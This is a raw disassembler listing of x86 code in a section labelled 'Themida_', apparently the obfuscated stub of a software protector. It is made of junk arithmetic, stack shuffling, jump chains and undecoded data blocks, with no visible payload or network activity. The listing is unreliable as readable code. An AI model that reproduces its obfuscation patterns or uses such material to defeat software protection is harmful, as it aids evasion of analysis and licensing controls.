		dd 4BE56h, 14E90000h, 66000022h, 8124048Bh, 4ECh, 24048900h
		dd 946FE9h
		db 0
; ---------------------------------------------------------------------------

loc_553579:				; CODE XREF: Themida_:0055BF88j
		push	14FD79A0h
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 0EB028684h
		mov	eax, ecx
		pop	ecx
		add	eax, edi
		push	ecx
		mov	ecx, 0
		add	ecx, 24C336E2h
		jmp	loc_5546A8
; ---------------------------------------------------------------------------
		db 1
		dd 0F7815AD7h, 6EFA6BD5h, 815FF989h, 0CB04246Ch, 12F8527h
		dd 8104244Ch, 0CB042444h, 0E92F8527h, 8449h, 0FDFFE981h
		dd 0CB290E2Dh, 860EE9h
		db 0
; ---------------------------------------------------------------------------

loc_5535D5:				; CODE XREF: Themida_:00554EE5j
		or	dl, bl
		pop	ebx
		jmp	loc_5579CF
; ---------------------------------------------------------------------------

loc_5535DD:				; CODE XREF: Themida_:00555625j
		pop	edx
		pop	edi
		jmp	loc_55B30D
; ---------------------------------------------------------------------------
aBicHzsti	db '│КФ HZИTi',0
		db 0
; ---------------------------------------------------------------------------

loc_5535EF:				; CODE XREF: Themida_:00557B72j
		sub	ecx, 64084FDCh
		or	ecx, 729842C2h
		sub	ecx, 0A41CA6C9h
		jmp	loc_5533B1
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0DD5AE904h, 0C481FFFFh, 4, 0E26FC281h, 8152BF4Eh, 61562434h
		dd 0E9597B9Ah, 4CFEh, 5C38E42Dh, 2DE8D144h, 74A73223h
		dd 0CE48F20Dh, 7805405Bh, 13BB9ECh, 2434FFC3h, 4C48358h
		dd 0E924348Bh, 5EDDh
; ---------------------------------------------------------------------------

loc_553650:				; CODE XREF: Themida_:0055450Bj
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_553E96
; ---------------------------------------------------------------------------

loc_553659:				; CODE XREF: Themida_:005572B7j
		pop	esp
		sub	esp, 4
		jmp	loc_551B8E
; ---------------------------------------------------------------------------
		db 83h,	0E8h, 2
		dd 31240433h, 4332404h,	250E924h, 0E3080000h, 8124048Bh
		dd 4C4h, 4EC8100h, 89000000h, 0C0B62414h, 5312E680h, 0CFFEE0B7h
		dd 0C004E7C0h, 53E906E7h, 0E9000047h, 0FFFFDCC4h, 9AE95854h
		dd 0FF00007Ch, 669D1C77h, 1CD36659h, 0ADE99C24h, 53FFFFDCh
		dd 811794BBh, 7DEB810Dh, 8108D67Dh, 3F4E03CBh, 62F3817Ch
		dd 3123CDBAh, 0C1815BD9h, 0BC843C74h, 8159CF01h, 716F87EFh
		dd 5FFA0181h, 2BB53h, 0DA010000h, 5108E95Bh, 4BD0000h
		dd 0E9000000h, 0FFFFF99Ch, 30DAE581h, 0ED813B53h, 327B57DEh
		dd 2168DDF7h, 8900006Fh, 7EBF243Ch, 816F0F28h, 6D193BF7h
		dd 69EF8101h, 1FFB46Ah,	95C6E9FDh, 0C6810000h, 4, 0ACBE5657h
		dd 8164D775h, 0D775A8F6h, 8E95664h, 8100006Bh, 4C1h, 4E95500h
		db 88h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_553753:				; CODE XREF: Themida_:0055D541j
		or	esi, 3186E08h
		xor	esi, 83B9FE89h
		and	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_55A18C
; ---------------------------------------------------------------------------
aCt9SC		db '╦ct9~Ик≈',0
		align 2
		dw 8B66h
		dd 58E9240Ch, 8300004Eh, 8B042404h, 0C4812434h,	4, 4C681h
		dd 0E9520000h, 28F2h, 24048B66h, 4EC81h, 73E90000h, 81000076h
		dd 4370C9C3h, 81C30149h, 4370C9EBh, 8B0B8B49h, 0C481241Ch
		dd 4, 8124048Bh, 4C4h, 376D6800h, 0E90000h, 57000028h
		dd 1B2720BFh, 0E9FA2928h, 987h,	42474FFh, 24048F5Ah, 0F624248Bh
		dd 0B60F66F1h, 0EC8155CCh, 4, 8E79E9h
		db 0
; ---------------------------------------------------------------------------

loc_5537FD:				; CODE XREF: Themida_:0055A530j
		mov	[esp], edi
		jmp	loc_55C8F7
; ---------------------------------------------------------------------------

loc_553805:				; CODE XREF: Themida_:0055BB0Cj
		mov	ecx, 2D1262B0h
		push	ebx
		mov	ebx, 351F5CDCh
		sub	ebx, 9891F77h
		not	ebx
		xor	ebx, 0C5F8A861h
		sub	edi, ebx
		pop	ebx
		add	edi, ecx
		add	edi, 11916AFBh
		jmp	loc_55631F
; ---------------------------------------------------------------------------
		dw 315Eh
		dd 0C58158C5h, 33C174A0h, 9210C581h, 0E80143CFh, 4055Dh
		dd 4870000h, 5C2CE924h,	0E9570000h, 8938h, 2D07E0C1h, 71F554C3h
		dd 0E958C589h, 512Ch
; ---------------------------------------------------------------------------

loc_553864:				; CODE XREF: Themida_:005591FAj
		xchg	ebx, [esp]
		pop	esp
		add	eax, 2
		jmp	loc_55D0BB
; ---------------------------------------------------------------------------
		dw 5E54h
		dd 4C681h, 0C6810000h, 4, 5C243487h, 8B242C87h,	4892424h
		dd 0DAD6E924h, 74FFFFFFh, 34FF0424h, 24048B24h,	1C8EE9h
		dd 283BBF00h, 0FA015D80h, 6419E9h, 1C896600h, 0EC835024h
		dd 241C8904h, 0B390B151h, 37C380F2h, 993E951h, 665C0000h
		dd 0E9240489h, 0FFFFDA98h
; ---------------------------------------------------------------------------

loc_5538D0:				; CODE XREF: Themida_:0055BBBCj
		push	esi
		mov	esi, 645056C5h
		neg	esi
		or	esi, 58A23169h
		jmp	loc_559FD3
; ---------------------------------------------------------------------------

loc_5538E3:				; CODE XREF: Themida_:00556A74j
		add	ebx, edi
		jmp	loc_551D0D
; ---------------------------------------------------------------------------

loc_5538EA:				; CODE XREF: Themida_:00553962j
		pop	edi
		jmp	loc_552326
; ---------------------------------------------------------------------------
		dd 0E45CE948h, 0E089FFFFh, 420E957h, 65E90000h,	81FFFFDAh
		dd 202C90EDh, 241C8B0Ah, 1BCE9h
		db 0
; ---------------------------------------------------------------------------

loc_553911:				; CODE XREF: Themida_:005517B1j
		add	esp, 4
		sub	al, dl
		push	edx
		mov	dh, 66h
		jmp	loc_551E01
; ---------------------------------------------------------------------------

loc_553921:				; CODE XREF: Themida_:0055824Bj
		mov	esi, [esp]
		jmp	loc_5561D3
; ---------------------------------------------------------------------------
		db 80h,	0C6h, 0EAh
		dd 888FEE80h, 0C5305AF5h, 527AE9h, 0B2F18100h, 8901311Ah
		dd 0EE8159C8h, 70434C97h, 0C681C601h, 70434C97h, 0E64CE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553956:				; CODE XREF: Themida_:00553B89j
		xchg	esi, [esp]
		mov	esp, [esp]
		add	ebx, 7EC6338h
		jmp	loc_5538EA
; ---------------------------------------------------------------------------
a_sp		db '_Иp{',0
		db 0
; ---------------------------------------------------------------------------

loc_55396D:				; CODE XREF: Themida_:0055B1D3j
		sub	eax, 3FBF01CFh
		jmp	loc_55D216
; ---------------------------------------------------------------------------
aRsqz		db '\RИ÷┤',0
		align 2
		dw 0F381h
		dd 72E6CD0Bh, 34FFD831h, 0C4815B24h, 4,	1DBD5551h, 4D430272h
		dd 0ED81DDF7h, 536C36CBh, 2C8BE989h, 4C48124h, 0E9000000h
		dd 5933h, 5BB8EB81h, 0DE89A942h, 0FFF15AE9h, 4C483FFh
		dd 0CFE95253h, 35000048h, 3DD73500h, 9F28BD0Dh,	30F3E901h
		dd 0EA810000h, 6DA13F99h, 0E95A0288h, 0FFFFD984h, 55D2F75Ah
		dd 33296CBDh, 5DEA297Dh, 0E3C2814Ah, 52DC396Dh,	0D05E9h
		db 0
; ---------------------------------------------------------------------------

loc_5539FD:				; CODE XREF: Themida_:0055BFBDj
		push	4B09h
		mov	[esp], ecx
		push	4CF6h
		jmp	loc_5553E8
; ---------------------------------------------------------------------------

loc_553A0F:				; CODE XREF: Themida_:005584B6j
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_557462
; ---------------------------------------------------------------------------

loc_553A1D:				; CODE XREF: Themida_:0055C75Fj
		pop	dword ptr [esp]
		xchg	eax, ecx
		not	eax
		xchg	eax, ecx
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		mov	eax, [esp]
		push	edx
		push	esp
		jmp	loc_556CF6
; ---------------------------------------------------------------------------

loc_553A37:				; CODE XREF: Themida_:00558C8Ej
		shr	eax, 18h
		jmp	loc_552746
; ---------------------------------------------------------------------------

loc_553A3F:				; CODE XREF: Themida_:0055B82Bj
		xor	edi, 5DE0705Eh
		sub	esp, 4
		mov	[esp], esi
		mov	esi, edi
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_555A5D
; ---------------------------------------------------------------------------
		db 5Ah,	87h, 4
		dd 0C4835C24h, 24148B04h, 4C481h, 4310000h, 24043324h
		dd 0E9240431h, 0FFFFD8DCh, 4C481h, 68520000h, 3F9Eh, 774CE9h
		dd 59CB0900h, 0E961C381h, 0CE9B2A1h, 29000059h,	0EB8158C5h
		dd 73B56519h, 0C381EB29h, 73B56519h, 81242C8Bh,	4C4h, 5BD90100h
		dd 0FFEA0CE9h, 0E28952FFh, 4C281h, 0C2810000h, 4, 5C241487h
		dd 31242C33h, 2C33242Ch, 24248B24h, 9C2404D2h, 0FFD873E9h
		dd 2C8B54FFh, 4C48324h,	4EC81h,	14890000h, 7E966824h, 815A2B3Dh
		dd 3D7E92F2h, 8BD5012Bh, 0C4832414h, 3A73E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553B1E:				; CODE XREF: Themida_:0055602Dj
		push	edi
		mov	edi, 4E123ABEh
		push	eax
		mov	eax, 1
		sub	edi, eax
		mov	eax, [esp]
		add	esp, 4
		add	edi, 1537662Dh
		neg	edi
		neg	edi
		jmp	loc_55A054
; ---------------------------------------------------------------------------

loc_553B41:				; CODE XREF: Themida_:0055CB1Fj
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_55236C
; ---------------------------------------------------------------------------
		dd 85E9F001h, 0BF000062h, 1AD20C37h, 0C106EFC1h, 0F78102E7h
		dd 1AD20C4h, 0E95FFE29h, 3949h,	592434FFh, 899CE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553B76:				; CODE XREF: Themida_:0055A355j
		pop	ebx
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_553956
; ---------------------------------------------------------------------------

loc_553B8E:				; CODE XREF: Themida_:0055A242j
		mov	ebp, 55A95803h
		add	ebp, 29A9EED1h
		jmp	loc_559D3E
; ---------------------------------------------------------------------------
		dw 0D109h
		dd 8124148Bh, 4C4h, 1E98100h, 0F7000000h, 9CF181D1h, 314426D0h
		dd 240C8BC8h, 4C481h, 0B5E90000h, 68000036h, 3F5Eh, 0E9240C89h
		dd 2D84h, 0FFD78FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553BD9:				; CODE XREF: Themida_:0055795Cj
		add	ebx, edx
		mov	eax, [ebx]
		mov	ebx, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [edi+eax*4]
		jmp	loc_557B44
; ---------------------------------------------------------------------------
		dd 0FFD76FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553BF9:				; CODE XREF: Themida_:00559CDEj
		mov	edx, esp
		jmp	loc_559289
; ---------------------------------------------------------------------------
		dd 4C181h, 0E9830000h, 240C3304h, 5FB3E9h, 3B25200h, 805AD588h
		dd 0EB00FCC5h, 5814E9h,	79E95800h, 58000011h, 4D96E9h
		dd 4C28100h, 81000000h,	4EAh, 24143300h, 0E9241431h, 2249h
; ---------------------------------------------------------------------------

loc_553C44:				; CODE XREF: Themida_:00552767j
		inc	eax
		sub	eax, 0D8BD90D0h
		mov	ebx, eax
		pop	eax
		sub	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_559F9B
; ---------------------------------------------------------------------------

loc_553C5B:				; CODE XREF: Themida_:00557EBEj
		push	eax
		jmp	loc_55AC10
; ---------------------------------------------------------------------------

loc_553C61:				; CODE XREF: Themida_:00551762j
		push	ebx
		mov	ebx, 4653094Ch
		inc	ebx
		jmp	loc_55CA2C
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 25h
		dd 8137F930h, 0A39EB6C6h, 8BF589ACh, 0AAE92434h, 5E000054h
		dd 0D2242C81h, 292E9E6Bh, 4812404h, 9E6BD224h, 4EC812Eh
		dd 89000000h, 44BB241Ch, 8165356Dh, 28042444h, 12B6F59h
		dd 8104245Ch, 2804246Ch, 8B2B6F59h, 0B5E9241Ch,	68FFFFF0h
		dd 3466h, 89241C89h, 79C368E3h,	4890000h, 0E74E924h, 8B660000h
		dd 0E4E9240Ch, 81000080h, 4C4h,	845AE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553CEA:				; CODE XREF: Themida_:00555F74j
		mov	ebx, 2FAC5F6Fh
		add	ebx, 3327F5E1h
		sub	esi, ebx
		pop	ebx
		jmp	loc_5594CE
; ---------------------------------------------------------------------------
a13S		db '1<$3<$\с$$°И"',8,0
		db 0
; ---------------------------------------------------------------------------

loc_553D0D:				; CODE XREF: Themida_:00556281j
		add	edx, ebx
		sub	edx, 7DB86DABh
		mov	ebx, [esp]
		push	ecx
		jmp	loc_5560D4
; ---------------------------------------------------------------------------
		dw 4BFh
		dd 1000000h, 0BA525FF8h, 4, 0BCE9D001h,	66FFFFE5h, 282FB151h
		dd 85966CFh, 0AFE95BFDh, 0BBFFFFE0h, 0FFFFFFFFh, 0E95BDA01h
		dd 130h, 0BF243C89h, 214B7D0Bh,	3C8BFD89h, 41E95024h, 66FFFFF9h
		dd 0E9240489h, 0FFFFD5FCh, 0E9243C89h, 6357h, 0E9240433h
		dd 0FFFFE3CBh, 51C8295Eh, 2D4D42B9h, 0D1F7496Ah, 8107E1C1h
		dd 12F2C2E9h, 59C801E0h, 41A1BE56h, 8CE91D80h, 0F7000063h
		dd 8820E9D7h, 5EBB0000h, 1226E73h, 241C8BD8h, 4C481h, 0E4E90000h
		dd 8900006Bh, 4BE92414h, 1000057h, 2232E9C3h, 895C0000h
		dd 5F54243Ch, 6BBD5552h, 81578D27h, 92680FEDh, 23F58142h
		dd 8121722Eh, 0F70A12EDh, 0C5815Eh, 4D343D66h, 0ED68F581h
		dd 0E9560ACEh, 6B28h, 3104C483h, 0EDBD55C3h, 0E915F257h
		dd 0FFFFFA42h
; ---------------------------------------------------------------------------

loc_553E0C:				; CODE XREF: Themida_:0055C2C5j
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_554251
; ---------------------------------------------------------------------------
		db 5Ch,	51h, 89h
		dd 4C181E1h, 81000000h,	4E9h, 74FF5100h, 8F590424h, 0E1E92404h
		dd 81000090h, 0D8269DC3h, 43685071h, 89000042h,	36E9242Ch
		dd 5000005Eh, 8809B551h, 515359E8h, 8904EC83h, 0C2882414h
		dd 0E148E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553E62:				; CODE XREF: Themida_:0055A1C4j
		shl	edi, 8
		shl	edi, 8
		shr	edi, 4
		shl	edi, 6
		sub	esp, 4
		jmp	loc_55BEF2
; ---------------------------------------------------------------------------
		dw 15B9h
		dd 0E9CEA34Fh, 0FFFFDA2Eh, 5421EA81h, 0FCE93166h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_553E8B:				; CODE XREF: Themida_:005550D2j
		push	314F1681h
		pop	ebx
		jmp	loc_55D225
; ---------------------------------------------------------------------------

loc_553E96:				; CODE XREF: Themida_:00553654j
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	2120h
		mov	[esp], eax
		mov	eax, 0E9264C2h
		and	eax, 309D2CB8h
		jmp	loc_5562DB
; ---------------------------------------------------------------------------

loc_553EB7:				; CODE XREF: Themida_:00551AA3j
		mov	esp, [esp]
		xor	[esp], eax
		pushf
		jmp	loc_551368
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 29FAC381h, 0EB016243h, 29FAEB81h,	875D6243h, 248B241Ch
		dd 9557E924h, 67B90000h, 291D6066h, 590FE9CFh, 29660000h
		dd 0D871E9CAh, 4BBFFFFh, 0E9000000h, 18FEh
; ---------------------------------------------------------------------------

loc_553F00:				; CODE XREF: Themida_:005592DEj
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 52FD63C9h
		sub	edi, 8B9FBE8Ah
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		push	edx
		pop	ebx
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_557392
; ---------------------------------------------------------------------------
aSJ		db '^ИсJ',0
		dd 24148900h, 0D2F696B2h, 0D4F6E286h, 0E2C0E286h, 0E9EA8608h
		dd 2C5Bh
; ---------------------------------------------------------------------------

loc_553F44:				; CODE XREF: Themida_:00554EA2j
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_55448C
; ---------------------------------------------------------------------------
		db 88h
		dd 148B58C7h, 9326E924h, 1C8B0000h, 7737E924h, 66640000h
		dd 6866028Bh, 89661DB8h, 0F5E92404h, 1FFFFD3h, 81505DE8h
		dd 25E242Ch, 815E101Eh,	1E025EC6h, 24048B10h, 4C481h, 0F5010000h
		dd 8124348Bh, 4C4h, 242C3300h, 33242C31h, 248B242Ch, 243CD224h
		dd 4046E99Ch, 0E5890000h, 4C581h, 0C5810000h, 4, 5C242C87h
		dd 31243433h, 34332434h, 24248B24h, 5A2434FFh, 0FFE323E9h
		dd 5AD368FFh, 4890000h,	53E08924h, 4BBh, 5BD80100h, 42Dh
		dd 24043300h, 33240431h, 895C2404h, 0BF572404h,	5D32744h
		dd 55CBE9h, 2434FF00h, 0E924048Bh, 6FAFh, 0BCE9E189h, 8100001Ch
		dd 142CB7EDh, 81DD016Dh, 142CB7C5h, 0BF575B6Dh,	2, 16E9FD01h
		dd 0FF000069h, 0C8B2434h, 0FA4EE924h, 8B66FFFFh, 6857240Ch
		dd 53AFh, 81242489h, 42404h, 74E90000h,	2900002Eh, 0E7815AD7h
		dd 21C67159h, 705BF781h, 84E90182h, 33000024h, 1C31241Ch
		dd 241C3324h, 800DE9h
		db 0
; ---------------------------------------------------------------------------

loc_554079:				; CODE XREF: Themida_:00557CB4j
		push	eax
		push	6C10h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	esi
		push	ecx
		mov	ecx, 23163C48h
		mov	esi, 3AA5AABAh
		sub	esi, ecx
		pop	ecx
		add	esi, 73697F4Ch
		jmp	loc_55B1C0
; ---------------------------------------------------------------------------

loc_5540A1:				; CODE XREF: Themida_:00552988j
		pop	ecx
		jmp	loc_55C10A
; ---------------------------------------------------------------------------
a1S0		db '1,$И>0',0
		dw 3100h
		dd 0F28159CAh, 87F2C3D0h, 295AD729h, 0E95152DFh, 1D43h
		dd 83242C8Bh, 0E904C4h,	56000090h, 3AE9E689h, 0B9FFFFDBh
		dd 4, 88BE5657h, 81269C4Bh, 250EA2C6h, 65B9E917h, 89520000h
		dd 0E28952E2h, 4C281h, 0EA810000h, 4, 85DDE9h, 89665C00h
		dd 0ABB5240Ch, 0D02C752Ch, 0D004E828h, 0E914B151h, 810Ch
; ---------------------------------------------------------------------------

loc_55411C:				; CODE XREF: Themida_:005587AFj
		sub	esi, 7CBD1498h
		jmp	loc_5580AF
; ---------------------------------------------------------------------------

loc_554127:				; CODE XREF: Themida_:00552159j
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_554BA0
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 2C3835Ch, 0AA7E9h
		db 0
; ---------------------------------------------------------------------------

loc_554145:				; CODE XREF: Themida_:005599EAj
		sub	esi, 0FFFFFFFFh
		xor	esi, 9F4287h
		neg	esi
		xor	esi, 508A6E6Fh
		add	eax, esi
		jmp	loc_55AAE6
; ---------------------------------------------------------------------------
aSso		db ')сИ≥o',0
		dw 5F00h
		dd 0EB78E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55416E:				; CODE XREF: Themida_:005534ECj
		and	ebp, 3AB11196h
		jmp	loc_556980
; ---------------------------------------------------------------------------
aMS_6		db '╛,ЛИ_6',0
		dd 0D1E2E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554186:				; CODE XREF: Themida_:0055B98Aj
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_555CF6
; ---------------------------------------------------------------------------
		dd 3C8BF829h, 4C48124h,	8B000000h, 1268242Ch, 89000012h
		dd 0E2892414h, 4C281h, 0C2830000h, 24148704h, 4EC815Ch
		dd 89000000h, 2E9243Ch,	5200002Eh, 0E0E9E289h
		db 83h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5541CF:				; CODE XREF: Themida_:005527E9j
		add	esi, edi
		pop	edi
		jmp	loc_556F17
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0EC812404h, 4, 54243489h, 0E924348Bh, 897Ch,	0C0CFB050h
		dd 0E63407E8h, 6658C730h, 28ACB652h, 0E95A66F7h, 0ACh
		dd 24048B66h, 0F34E9h, 2434FF00h, 0ADE9535Ah, 89000087h
		dd 4C381E3h, 83000000h,	1C8704EBh, 76E95C24h, 5E000072h
		dd 91B1E9h, 86E28100h, 0C12C9877h, 0F28107EAh, 0C7E0F316h
		dd 15AD029h, 0F9DDE9C3h, 0E3D1FFFFh, 0FFF75FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554251:				; CODE XREF: Themida_:00553E14j
		sub	esp, 4
		jmp	loc_551FC2
; ---------------------------------------------------------------------------
		db 0B1h, 0F3h, 0FEh
		dd 0FED1F6C9h, 4AC180C1h, 0E91EE980h, 1961h, 0E902EF80h
		dd 0FFFFEF07h, 5C240487h, 2404A30Fh, 0D0E6E99Ch, 0FF64FFFFh
		dd 0D0DEE932h, 0E0C0FFFFh, 88022C02h, 81E958C2h, 8F000074h
		dd 0A8E92404h
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55429F:				; CODE XREF: Themida_:00552245j
		add	ecx, esi
		add	ecx, 6A910C68h
		pop	esi
		xchg	ecx, [esp]
		jmp	loc_558C88
; ---------------------------------------------------------------------------
		dd offset dword_5BF800
		dd 660C2CF0h, 5052665Ah, 0C688E3B0h, 0E13DE958h, 405FFFFh
		dd 2D000000h, 4, 5C240487h, 0B1240C89h,	59C830F1h, 0E2E9C300h
		dd 81000076h, 298D73C5h, 5DEE01DBh, 895EF331h, 56685BD9h
		dd 5D682754h, 0C8BCD29h, 4C48324h, 0FF1C6F09h, 34FF2434h
		dd 0C4815D24h, 4, 64B0E9h, 0AE95B00h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55431B:				; CODE XREF: Themida_:00551DEDj
		add	bl, 0B0h
		sub	esp, 2
		jmp	loc_551B00
; ---------------------------------------------------------------------------
		db 80h,	0EBh, 27h
		dd 8FC0B60Fh, 31E98704h, 81FFFFD0h, 1333F6F6h, 0E9D6F71Ch
		dd 33CFh
; ---------------------------------------------------------------------------

loc_554344:				; CODE XREF: Themida_:00554F4Dj
		and	dl, 7Dh
		add	dl, 81h
		sub	ch, dl
		jmp	loc_5590B2
; ---------------------------------------------------------------------------
		db 0B9h, 44h, 0Bh
		dd 0C82961E8h, 32B60559h, 50562086h, 5A7761B8h,	58C68914h
		dd 5378CE81h, 0E94E5FD4h, 64A5h
; ---------------------------------------------------------------------------

loc_554374:				; CODE XREF: Themida_:00556792j
		neg	ebp
		sub	ebp, 62F632BEh
		sub	ebp, 46C91B3Fh
		xor	edi, ebp
		jmp	loc_558FE9
; ---------------------------------------------------------------------------
		db 33h,	0Ch, 24h
		dd 0E9240C31h, 0FFFFDD2Ah
; ---------------------------------------------------------------------------

loc_554394:				; CODE XREF: Themida_:005531AEj
		push	edx
		jmp	loc_554ECE
; ---------------------------------------------------------------------------
		dw 1489h
aTsc		db '$TИ≈',0Ah,0
		dw 6600h
		dd 83240C8Bh, 1C8904ECh, 18A5E924h, 0EA890000h,	5AD1895Dh
		dd 8108E9C1h, 581C26E1h, 5E1C16Bh, 0BC3E9h
		db 0
; ---------------------------------------------------------------------------

loc_5543C9:				; CODE XREF: Themida_:0055671Cj
		pop	ebx
		add	bl, dl
		mov	dx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 2
		add	esi, eax
		pop	eax
		xor	esi, [esp]
		jmp	loc_551DE1
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC812404h, 4, 0FFF00DE9h, 5AD729FFh, 2474FF57h, 243C8B04h
		dd 4C481h, 48F0000h, 50E95C24h,	66FFFFF9h, 6609EF68h, 496FE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55441E:				; CODE XREF: Themida_:00552617j
		sub	ecx, 4F473AEEh
		push	eax
		jmp	loc_55AB2D
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 58545024h, 4EC81h, 0C890000h, 49ECB924h, 0F7511087h
		dd 99E92414h, 30FFFFDFh, 0B15166D8h, 0C40489h, 0E9C42CC8h
		dd 5D53h
; ---------------------------------------------------------------------------

loc_554458:				; CODE XREF: Themida_:005545FAj
		pop	ebp
		add	ebp, 4
		jmp	loc_5574AA
; ---------------------------------------------------------------------------
		dd 0C381CB29h, 6BAD1390h, 685BD987h, 3AA6h, 68241489h
		dd 37E5h, 0E9240C89h, 0D5Ah, 0E95EF701h, 3CC6h
; ---------------------------------------------------------------------------

loc_55448C:				; CODE XREF: Themida_:00553F4Aj
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	eax, 3EC82798h
		push	3F99h
		mov	[esp], edx
		jmp	loc_5552C9
; ---------------------------------------------------------------------------
		dd 61FBBB53h, 2E903BAh,	68FFFFD7h, 4, 6238E9h, 53565500h
		dd 2A45F9BBh, 7991BE68h, 0DE298364h, 0DFBAE95Bh, 489FFFFh
		dd 0B1516624h, 28B9E96Ah, 83590000h, 0C15A04C4h, 0C1032467h
		dd 83042467h, 48904ECh,	7006824h, 94E9B620h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5544FB:				; CODE XREF: Themida_:00559C7Cj
		pop	eax
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		and	eax, ebx
		jmp	loc_553650
; ---------------------------------------------------------------------------
		dd 0E971E958h, 0FA01FFFFh, 83243C8Bh, 0FF5204C4h, 5A042474h
		dd 8B24048Fh, 56E92424h, 0E900002Eh, 0FFFFCE34h
; ---------------------------------------------------------------------------

loc_554534:				; CODE XREF: Themida_:00556B9Aj
		mov	edi, esp
		add	edi, 4
		push	edx
		jmp	loc_551F6E
; ---------------------------------------------------------------------------
		dw 0B4BBh
		dd 817C0E61h, 9E724EE3h, 2256E90Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554552:				; CODE XREF: Themida_:00552860j
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		push	53C7h
		mov	[esp], edx
		mov	edx, 4
		push	edx
		mov	edx, 0F141F05h
		xor	edx, 0CAB1C9Fh
		jmp	loc_55B089
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 0E9h
		dd 0FFFFF67Ch
; ---------------------------------------------------------------------------

loc_554584:				; CODE XREF: Themida_:00559E52j
		xor	[esp+4], edi
		jmp	loc_551A17
; ---------------------------------------------------------------------------
aSiv		db '\Иi┌',0
		dw 8000h
		dd 516672EFh, 0B17FB050h, 8BC100B2h, 0C4832404h, 5183E904h
		dd 0F660000h, 5166C8B6h, 0F348E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5545B6:				; CODE XREF: Themida_:00556F25j
		pop	esp
		shr	ecx, 7
		push	ecx
		jmp	loc_55CC7D
; ---------------------------------------------------------------------------
		dd 0A59EF81h, 56E9692Dh, 31FFFFF6h, 0E9D131CAh,	0FFFFD8A2h
		dd 6602C483h, 0A0E9D2F7h
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5545DF:				; CODE XREF: Themida_:005590B3j
		sub	bl, ch
		mov	ecx, [esp]
		add	esp, 4
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		jmp	loc_554458
; ---------------------------------------------------------------------------
		db 66h
		dd 66402668h, 81243C89h, 2ECh, 14896600h, 3C8B6624h, 2C48324h
		dd 24148B66h, 0FFFFB3E9h, 5AF320FFh, 30DAF380h,	5904E9D8h
		dd 0E9810000h, 1644A648h, 0C159CA89h, 0A8E902EAh, 0C100005Ah
		dd 0C28104E2h, 44536ED5h, 7879E9h, 81E28900h, 4C2h, 37AEE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55465A:				; CODE XREF: Themida_:0055C77Dj
		add	esi, ebx
		pop	ebx
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_55AC47
; ---------------------------------------------------------------------------

loc_554672:				; CODE XREF: Themida_:005519ECj
		pop	ebx
		add	edx, edi
		jmp	loc_552C33
; ---------------------------------------------------------------------------
		dw 0DCF6h
		dd 0C480CCFEh, 8EF48001h, 2C58E330h, 4D8002Ah, 241C8B2Ah
		dd 5704C483h, 0A5E9E789h, 0B8000017h, 74F27BA1h, 0E902E0C1h
		dd 2A8Fh
; ---------------------------------------------------------------------------

loc_5546A8:				; CODE XREF: Themida_:0055359Ej
		add	ecx, eax
